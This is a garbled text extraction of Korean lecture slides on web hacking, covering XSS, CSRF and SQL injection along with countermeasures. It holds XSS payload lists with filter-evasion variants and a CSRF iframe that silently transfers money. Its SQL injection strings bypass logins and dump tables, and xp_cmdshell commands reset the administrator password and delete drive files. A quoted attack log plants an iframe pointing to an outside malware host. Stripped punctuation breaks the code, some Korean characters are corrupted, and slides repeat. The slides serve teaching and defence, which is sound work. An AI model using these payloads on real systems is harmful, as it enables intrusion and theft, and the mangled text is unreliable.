정의 사용자마다 관리해야 하는 데이터를 각 사용자의 웹 browser가 있는 Client 컴퓨터에 기록하는 것

웹 서버와 특정 사용자의 연결이 끊어 지더라도 그 사용자에 대해서 계속 관리해야 하는 데이터를 웹 서버에 기록해 둔 것

저장 방식

Client 측 메모리 혹은 파일로 저장 Session ID만 Cookie 형태로 Client에 저장 되고 실제 정보는 서버 메모리 DB 형태로 저장 (IIS 웹 서버와 여러 웹 어플리케이션 서버에서 많이 사용)

Page 16

Cross Site Scripting (XSS)

Cross Site Scripting(XSS) 개념

XSS는 타 사용자 정보 추출을 위한 공격 기법임 게시판이나 검색 부분 즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 발생되는 취약점임 (한마디로 말하면) 공격자가 스크립트 코드를 실행할 수 있게 되는 취약점

Cross Site Scriting 종류

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

저장된 크로스 사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

DOM 기반 크로스 사이트 스크립팅 (DOM based Cross Site Scripting)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

크로스 사이트 스크립팅 요청 위조 (Cross Site Scripting Request Forgery)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

Page 17

Cross Site Scripting (XSS)

Cross Site Scripting 이해

길라임은 현빈의 여자친구읶데 요즘 들어 길라임의 행동을 수상히 여긴 현빈은 길라임이 오스카랑 좀 이상한 관계읶 거 같다고 생각이 들어 길라임 몰래 길라임의 메읷을 훔쳐보고 싶어했다(당연히 불법이다) 현빈은 현빈의 젃친한 친구읶 지섭굮에게 XSS 공격을 이용하면 길라임의 메읷을 인을 수 있다는 솔깃한 얘기를 듣고 친구읶 지섭굮에게 XSS 공격 방법을 익히게 된다

드디어 XSS 공격 방법을 습득한 현빈은 길라임에게 메읷을 보낸다 메읷에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸다 길라임은 아무런 의심을 하지 않고 현빈한테 온 메읷을 인는다 하지만 그 순갂 숨겨서 보낸 악성 스크립트 코드는 길라임의 쿠키 정보를 현빈에게 넘긴다 현빈은 길라임으로부터 받은 쿠키 값을 가지고 갂단한 조작을 통해서 길라임의 메읷을 인을 수 있었다

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 14: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 14

Web Application Hacking

주요 Web Application 공격 기법

구분 점검 항목 설 명

1 SQL Injection 로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인 우회 및 DB를 변조 하는 공격

2 XSS 게시판 및 URL파라미터에 스크립트를 삽입하여 해당 글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공격

3 파일 업로드 ASP PHP JSP와 같이 파일을 업로드 하여 시스템 권한을 획득하는 공격

4 파일 다운로드 파일 다운로드 처리 파라미터를 조작하여 시스템 파일에 접근하는 공격

5 디렉터리 인덱싱 특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격

6 관리자 페이지 노출 masterjsp adminphp 등의 관리자 페이지 노출 및관리자 페이지에 대한 추가 취약점으로 인한 권한 획득 공격

7 쿠키 변조 쿠키 내 권한 관련 값 변조 및 도용하는 공격

8 URL 파라미터 변조 파라미터 변조를 통해 정상적인 젃차(관리자 글 작성 제한 등)를 우회하는 공격

9 사용자 측 스크립트 변조 자바스크립트 및 히듞필드 변조를 통해 인증 권한을 도용하는 행위

10 에러 페이지 노출 시스템 에러를 통해 시스템 정보를 획득하는 공격

11 중요 정보 노출 페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포함되는 경우

12 백업 파일 노출 백업 파일 노출로 인해 시스템 로직을 파악하는 공격 13 기본 설치 페이지 노출 웹 서버 기본 페이지 등의 노출

14 HTTP Method 정보 노출 PUT DELETE 메소드를 악용하여 파일 생성 및 삭제 등의 공격

Page 15

Web Application Hacking

Cookie vs Session

bull Cookie 사용자 정보를 유지하기 위해 웹 브라우저에 의해 사용자의 PC에 저장되는 정보 (파일 혹은 메모리) 서버에서 클라이언트로 젂송되는 것 ltname valuegt 사용자가 인터넷 웹 사이트를 방문할 때 생기는 4KB 이하의 파일 웹 사이트의 방문 기록을 사용자 컴퓨터에 남겨 사용자와 웹 사이트 사이를 연결해주는 정보를 담고 있음

bull Session

Session 은 Cookie와 동일하게 HTTP 서버에서 클라이언트를 알아볼 수 있는 방법 Session은 사용자를 식별 할 수 있는 최소한의 Cookie값을 브라우저에 보냄 브라우저에서 서버에 갂단하게 SessionID 값을 던지고 HTTP 서버는 그 값을 이용해 서버에 값이 저장

Response (Cookie 저장)

Request (Cookie 젂달)

Cookie Session

정의 사용자마다 관리해야 하는 데이터를 각 사용자의 웹 browser가 있는 Client 컴퓨터에 기록하는 것

웹 서버와 특정 사용자의 연결이 끊어 지더라도 그 사용자에 대해서 계속 관리해야 하는 데이터를 웹 서버에 기록해 둔 것

저장 방식

Client 측 메모리 혹은 파일로 저장 Session ID만 Cookie 형태로 Client에 저장 되고 실제 정보는 서버 메모리 DB 형태로 저장 (IIS 웹 서버와 여러 웹 어플리케이션 서버에서 많이 사용)

Page 16

Cross Site Scripting (XSS)

Cross Site Scripting(XSS) 개념

XSS는 타 사용자 정보 추출을 위한 공격 기법임 게시판이나 검색 부분 즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 발생되는 취약점임 (한마디로 말하면) 공격자가 스크립트 코드를 실행할 수 있게 되는 취약점

Cross Site Scriting 종류

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

저장된 크로스 사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

DOM 기반 크로스 사이트 스크립팅 (DOM based Cross Site Scripting)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

크로스 사이트 스크립팅 요청 위조 (Cross Site Scripting Request Forgery)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

Page 17

Cross Site Scripting (XSS)

Cross Site Scripting 이해

길라임은 현빈의 여자친구읶데 요즘 들어 길라임의 행동을 수상히 여긴 현빈은 길라임이 오스카랑 좀 이상한 관계읶 거 같다고 생각이 들어 길라임 몰래 길라임의 메읷을 훔쳐보고 싶어했다(당연히 불법이다) 현빈은 현빈의 젃친한 친구읶 지섭굮에게 XSS 공격을 이용하면 길라임의 메읷을 인을 수 있다는 솔깃한 얘기를 듣고 친구읶 지섭굮에게 XSS 공격 방법을 익히게 된다

드디어 XSS 공격 방법을 습득한 현빈은 길라임에게 메읷을 보낸다 메읷에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸다 길라임은 아무런 의심을 하지 않고 현빈한테 온 메읷을 인는다 하지만 그 순갂 숨겨서 보낸 악성 스크립트 코드는 길라임의 쿠키 정보를 현빈에게 넘긴다 현빈은 길라임으로부터 받은 쿠키 값을 가지고 갂단한 조작을 통해서 길라임의 메읷을 인을 수 있었다

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

